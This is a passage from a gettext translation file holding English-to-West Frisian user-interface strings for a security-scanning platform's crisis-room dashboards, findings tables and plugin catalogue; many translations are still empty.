(Low-High)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Severity (High-Low)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (A-Z)\"\nmsgstr \"\"\n\n#: crisis_room/forms.py\nmsgid \"Finding (Z-A)\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Findings Dashboard\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"Where on the dashboard do you want to show the data? Position {} is the most \"\n\"top level and the max position is {}.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the general crisis room, for all organizations.\"\nmsgstr \"\"\n\"Sil toand wurde op it algemiene krisissintrum, foar alle organisaasjes.\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on a single organization dashboard\"\nmsgstr \"Sil toand wurde op in inkeld organisaasjedashboerd\"\n\n#: crisis_room/models.py\nmsgid \"Will be displayed on the findings dashboard for all organizations\"\nmsgstr \"Sil toand wurde op it befiningendashboerd foar alle organisaasjes\"\n\n#: crisis_room/models.py\nmsgid \"Can change position up or down of a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have to choose between a recipe or a query, but not both.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"You have set a query and not where it is from. Also set the source.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"\"\n\"DashboardItem must contain at least a 'recipe' or a 'source' with a 'query'.\"\nmsgstr \"\"\n\n#: crisis_room/models.py\nmsgid \"Max dashboard items reached.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\n#: crisis_room/templates/organization_crisis_room.html\n#: rocky/templates/header.html\nmsgid \"Crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room.html\nmsgid \"Crisis room overview for all organizations.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"Dashboards\"\nmsgstr \"Dashboerden\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"\"\n\"On this page you can see an overview of the dashboards for all \"\n\"organizations. **More context can be written here**\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"dashboards\"\nmsgstr \"dashboerden\"\n\n#: crisis_room/templates/crisis_room_dashboards.html\nmsgid \"There are no dashboards to display.\"\nmsgstr \"Der binne gjin dashboerden om te toanen.\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Findings overview\"\nmsgstr \"Befiningenoersjoch\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"\\n\"\n\"                            This overview shows the total number of findings \"\n\"per\\n\"\n\"                            severity that have been identified for all \"\n\"organizations.\\n\"\n\"                            This data is based on the latest Crisis Room \"\n\"Findings Report\\n\"\n\"                            of each organization.\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"Findings per organization\"\nmsgstr \"Befiningen per organisaasje\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"This table shows the findings that have been identified for each \"\n\"organization, sorted by the finding types and grouped by organizations. This \"\n\"data is based on the latest Crisis Room Findings Report of each organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"No findings have been identified yet. As soon as they have been identified, \"\n\"they will be shown on this page.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_findings.html\nmsgid \"\"\n\"There are no organizations yet. After creating an organization, the \"\n\"identified findings will be shown here.\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/organization_crisis_room_header.html\nmsgid \"Crisis room navigation\"\nmsgstr \"\"\n\n#: crisis_room/templates/crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: reports/report_types/aggregate_organisation_report/findings.html\n#: reports/report_types/aggregate_organisation_report/report.html\n#: reports/report_types/aggregate_organisation_report/system_specific.html\n#: reports/report_types/findings_report/report.html\n#: reports/report_types/mail_report/report.html\n#: reports/report_types/multi_organization_report/report.html\n#: reports/report_types/name_server_report/report.html\n#: reports/report_types/tls_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/report_types/web_system_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_sidemenu.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/ooi_report_findings_block.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/views/finding_list.py rocky/views/finding_type_add.py\n#: rocky/views/ooi_view.py\nmsgid \"Findings\"\nmsgstr \"Befiningen\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Options for dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Show all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"Hide all descriptions\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\nmsgid \"Delete dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room.html\nmsgid \"\"\n\"There are no dashboards yet. Click on \\\"Add dashboard\\\" to create a new \"\n\"dashboard.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: katalogus/templates/partials/objects_to_scan.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Object list\"\nmsgstr \"Objektelist\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Finding list\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"There are no dashboard items added yet.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"\"\n\"You can add dashboard items via the filters on the objects and findings page \"\n\"or you can add a report section.\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_dashboard_items.html\nmsgid \"Add report section\"\nmsgstr \"\"\n\n#: crisis_room/templates/organization_crisis_room_header.html\n#: crisis_room/templates/partials/new_dashboard_modal.html\nmsgid \"Add dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Findings per organization overview\"\nmsgstr \"Oersjoch befiningen per organisaasje\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/finding_type.py\nmsgid \"Finding types\"\nmsgstr \"Befiningstypen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Occurrences\"\nmsgstr \"Foarfallen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Highest risk level\"\nmsgstr \"Heechste risikonivo\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"Critical finding types\"\nmsgstr \"Krityske befiningstypen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Details\"\nmsgstr \"Details\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Close details\"\nmsgstr \"Details slute\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Open details\"\nmsgstr \"Details iepenje\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"\"\n\"This overview shows the total number of findings per severity that have been \"\n\"identified for this organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"Critical and high findings\"\nmsgstr \"Krityske en hege befiningen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: reports/report_types/findings_report/report.html\nmsgid \"\"\n\"This table shows the top 25 critical and high findings that have been \"\n\"identified for this organization, grouped by finding types. A table with all \"\n\"the identified findings can be found in the Findings Report.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"No findings have been identified. Check report for more details.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\nmsgid \"View findings report\"\nmsgstr \"Befiningenrapport besjen\"\n\n#: crisis_room/templates/partials/crisis_room_findings_table.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Edit report recipe\"\nmsgstr \"Rapportresept bewurkje\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\n#, python-format\nmsgid \"Showing %(length)s findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list.html\nmsgid \"Go to findings\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Findings table \"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"column headers with buttons are sortable\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Tree\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#: rocky/views/mixins.py\nmsgid \"Graph\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: rocky/templates/oois/ooi_detail_findings_list.html\n#: rocky/templates/oois/ooi_detail_findings_overview.html rocky/views/mixins.py\nmsgid \"Severity\"\nmsgstr \"Earnst\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#: rocky/views/mixins.py\nmsgid \"Finding\"\nmsgstr \"Befining\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Finding type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show details for %(finding_type)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"OOI type\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\n#, python-format\nmsgid \"Show %(ooi_type)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/views/mixins.py\nmsgid \"Location\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#, python-format\nmsgid \"Show details for %(ooi)s\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Risk score\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: katalogus/templates/normalizer_detail.html\n#: reports/report_types/aggregate_organisation_report/appendix.html\n#: reports/report_types/dns_report/report.html\n#: reports/report_types/vulnerability_report/report.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/summary/report_asset_overview.html tools/forms/boefje.py\n#: tools/forms/finding_type.py rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail.html\n#: rocky/templates/oois/ooi_detail_findings_list.html rocky/templates/scan.html\nmsgid \"Description\"\nmsgstr \"Omskriuwing\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/multi_organization_report/recommendations.html\n#: reports/templates/partials/report_findings_table.html\n#: reports/templates/partials/report_severity_totals_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Recommendation\"\nmsgstr \"Oanrekommandaasje\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/report_types/vulnerability_report/report.py\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_detail_origins_inference.html\n#: rocky/templates/oois/ooi_detail_origins_observations.html\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Source\"\nmsgstr \"Boarne\"\n\n#: crisis_room/templates/partials/dashboard_finding_list_table.html\n#: reports/templates/partials/report_findings_table.html\n#: rocky/templates/findings/finding_list.html\nmsgid \"Impact\"\nmsgstr \"Ympakt\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Options for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Show description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Hide description\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position up\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Position down\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\nmsgid \"Rerun report\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_item_action_button.html\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\nmsgid \"Delete item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list.html\nmsgid \"Go to objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/dashboard_ooi_list_table.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Objects \"\nmsgstr \"Objekten \"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#, python-format\nmsgid \"Are you sure you want to delete '%(name)s' from this dashboard?\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/delete_dashboard_item_modal.html\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#: katalogus/templates/plugin_settings_delete.html\n#: katalogus/views/plugin_settings_delete.py\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/oois/ooi_list.html\n#: rocky/templates/partials/delete_ooi_modal.html rocky/views/ooi_delete.py\nmsgid \"Delete\"\nmsgstr \"Fuortsmite\"\n\n#: crisis_room/templates/partials/delete_dashboard_modal.html\n#, python-format\nmsgid \"\"\n\"Are you sure you want to delete dashboard '%(dashboard)s'? All the items on \"\n\"the dashboard will be deleted as well.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Actions for adding dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\nmsgid \"Add item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_action_button.html\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: tools/view_helpers.py rocky/templates/admin/delete_confirmation.html\n#: rocky/templates/admin/delete_selected_confirmation.html\n#: rocky/templates/dashboard_client.html rocky/templates/dashboard_redteam.html\n#: rocky/templates/header.html rocky/views/ooi_add.py rocky/views/ooi_list.py\n#: rocky/views/ooi_view.py rocky/views/upload_csv.py rocky/views/upload_raw.py\nmsgid \"Objects\"\nmsgstr \"Objekten\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Add dashboard item\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"\"\n\"To  add a <strong>report section</strong>, go to the history page and open a \"\n\"report. Then go to the section that you want to add to your dashboard and \"\n\"press the options button next to the section name to create a dashboard item.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_explanation_modal.html\nmsgid \"Go to report history\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"    Add %(item_type)s to dashboard\\n\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"Add these %(item_type)s with the selected filters to the dashboard of your \"\n\"choice.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: katalogus/templates/partials/no_enabling_permission_message.html\n#: katalogus/templates/plugin_container_image.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"explanation\"\nmsgstr \"taljochting\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"You do not have a custom dashboard yet\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#, python-format\nmsgid \"\"\n\"In order to add these %(item_type)s to a dashboard, you first need to create \"\n\"a dashboard. Please add a dashboard in the crisis room of your organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\n#: rocky/templates/findings/finding_list.html\n#: rocky/templates/oois/ooi_list.html\nmsgid \"Add to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal.html\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Go to crisis room\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Add report section to dashboard\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order to add this report section to a dashboard, you first need to create \"\n\"a dashboard. Please create a dashboard in the crisis room of your \"\n\"organization.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"Report must be scheduled for dashboard items\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/new_dashboard_item_modal_report_section.html\nmsgid \"\"\n\"In order for dashboard information to be updated on a regular basis instead \"\n\"of showing static data, the report should be scheduled. The frequency of the \"\n\"schedules recurrence determines how fresh the data on the dashboard will be.\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Applied filters\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Object types\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: katalogus/templates/change_clearance_level.html onboarding/forms.py\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/boefje.py\n#: tools/forms/ooi.py rocky/templates/oois/ooi_page_tabs.html\n#: rocky/templates/partials/explanations.html\n#: rocky/templates/scan_profiles/scan_profile_detail.html rocky/views/mixins.py\nmsgid \"Clearance level\"\nmsgstr \"Frijwarringsnivo\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/summary/ooi_selection.html tools/forms/ooi.py\n#: rocky/views/mixins.py\nmsgid \"Clearance type\"\nmsgstr \"Frijwarringstype\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Input objects\"\nmsgstr \"Objekten ynfiere\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\nmsgid \"Show all objects\"\nmsgstr \"\"\n\n#: crisis_room/templates/partials/report_dashboard_item_filter.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"No filters applied\"\nmsgstr \"Gjin filters tapast\"\n\n#: crisis_room/templates/partials/report_section_action_button.html\nmsgid \"Add section to dashboard\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"\"\n\"The KATalogus has an unexpected error. Check the logs for further details.\"\nmsgstr \"\"\n\"De KATalogus hat in ûnferwachte flater oprûn. Kontrolearje de lochboeken \"\n\"foar mear details.\"\n\n#: katalogus/client.py\n#, python-format\nmsgid \"An HTTP %d error occurred. Check logs for more info.\"\nmsgstr \"\"\n\"Der is in HTTP-%d-flater bard. Kontrolearje de lochboeken foar mear ynfo.\"\n\n#: katalogus/client.py\nmsgid \"An HTTP error occurred. Check logs for more info.\"\nmsgstr \"\"\n\"Der is in HTTP-flater bard. Kontrolearje de lochboeken foar mear ynformaasje.\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this name already exists.\"\nmsgstr \"Boefje mei dizze namme bestiet al.\"\n\n#: katalogus/client.py\nmsgid \"Boefje with this ID already exists.\"\nmsgstr \"Boefje mei dizze ID bestiet al.\"\n\n#: katalogus/client.py\nmsgid \"Access to resource not allowed\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to see plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to set plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to delete plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to view plugin settings\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to access the other organization\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to enable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to disable plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to create plugins\"\nmsgstr \"\"\n\n#: katalogus/client.py\nmsgid \"User is not allowed to edit plugins\"\nmsgstr \"\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Show all\"\nmsgstr \"Alles toane\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/report_types/dns_report/report.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enabled\"\nmsgstr \"Ynskeakele\"\n\n#: katalogus/forms/katalogus_filter.py\n#: katalogus/templates/partials/enable_disable_plugin.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Disabled\"\nmsgstr \"Utskeakele\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Enabled-Disabled\"\nmsgstr \"Ynskeakele-Utskeakele\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Disabled-Enabled\"\nmsgstr \"Utskeakele-Ynskeakele\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Filter options\"\nmsgstr \"Filteropsjes\"\n\n#: katalogus/forms/katalogus_filter.py\nmsgid \"Sorting options\"\nmsgstr \"Sortearopsjes\"\n\n#: katalogus/forms/plugin_settings.py\nmsgid \"This field is required.\"\nmsgstr \"Dit fjild is ferplichte.\"\n\n#: katalogus/templates/about_plugins.html\n#: katalogus/templates/partials/plugins_navigation.html\nmsgid \"About plugins\"\nmsgstr \"Oer ynstekkers\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/katalogus.html\nmsgid \"\"\n\"Plugins gather data, objects and insight. Each plugin has its own focus area \"\n\"and strengths and may be able to work with other plugins to gain even more \"\n\"insights.\"\nmsgstr \"\"\n\"Ynstekkers sammelje gegevens, objekten en ynsichten. Elke ynstekker hat syn \"\n\"eigen fokusgebiet en sterke punten en kin mooglik gearwurkje mei oare \"\n\"ynstekkers om noch mear ynsichten te krijen.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/boefjes.html\nmsgid \"\"\n\"Boefjes are used to scan for objects. They detect vulnerabilities, security \"\n\"issues, and give insight. Each boefje is a separate scan that can run on a \"\n\"selection of objects.\"\nmsgstr \"\"\n\"Boefjes wurde brûkt foar it scannen nei objekten. Se detektearje \"\n\"kwetsberheden, befeiligingsproblemen en jouwe ynsjoch. Elk Boefje is in \"\n\"aparte scan dy’t op ferskate objekten brûkt wurde kin.\"\n\n#: katalogus/templates/about_plugins.html katalogus/templates/normalizers.html\nmsgid \"\"\n\"Normalizers analyze the information and turn it into objects for the data \"\n\"model in Octopoes.\"\nmsgstr \"\"\n\"Normalizers analysearje de ynformaasje en sette dizze om yn objekten foar it \"\n\"datamodel yn Oktopoes.\"\n\n#: katalogus/templates/about_plugins.html\nmsgid \"\"\n\"Bits are business rules that look for insight within the current dataset and \"\n\"search for specific insight and draw conclusions.\"\nmsgstr \"\"\n\"Bits binne bedriuwsrigels dy’t sykje nei ynsichten binnen de aktuele \"\n\"gegevensset. Se sykje nei spesifike ynsichten en lûke dêr konklúzjes út.\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/partials/plugin_tile_modal.html\n#: katalogus/templates/plugin_container_image.html\nmsgid \"Scan level\"\nmsgstr \"Scannivo\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\nmsgid \"Consumes\"\nmsgstr \"Konsumearret\"\n\n#: katalogus/templates/boefje_detail.html\n#, python-format\nmsgid \"%(plugin_name)s is able to scan the following object types:\"\nmsgstr \"%(plugin_name)s is yn steat om d folgjende objekttypen te scannen:\"\n\n#: katalogus/templates/boefje_detail.html\n#: katalogus/templates/normalizer_detail.html\n#, python-format\nmsgid \"%(plugin_name)s does not need any input objects.\"\nmsgstr \"%(plugin_name)s hat gjin ynfierobjekten nedich.\"\n\n#: 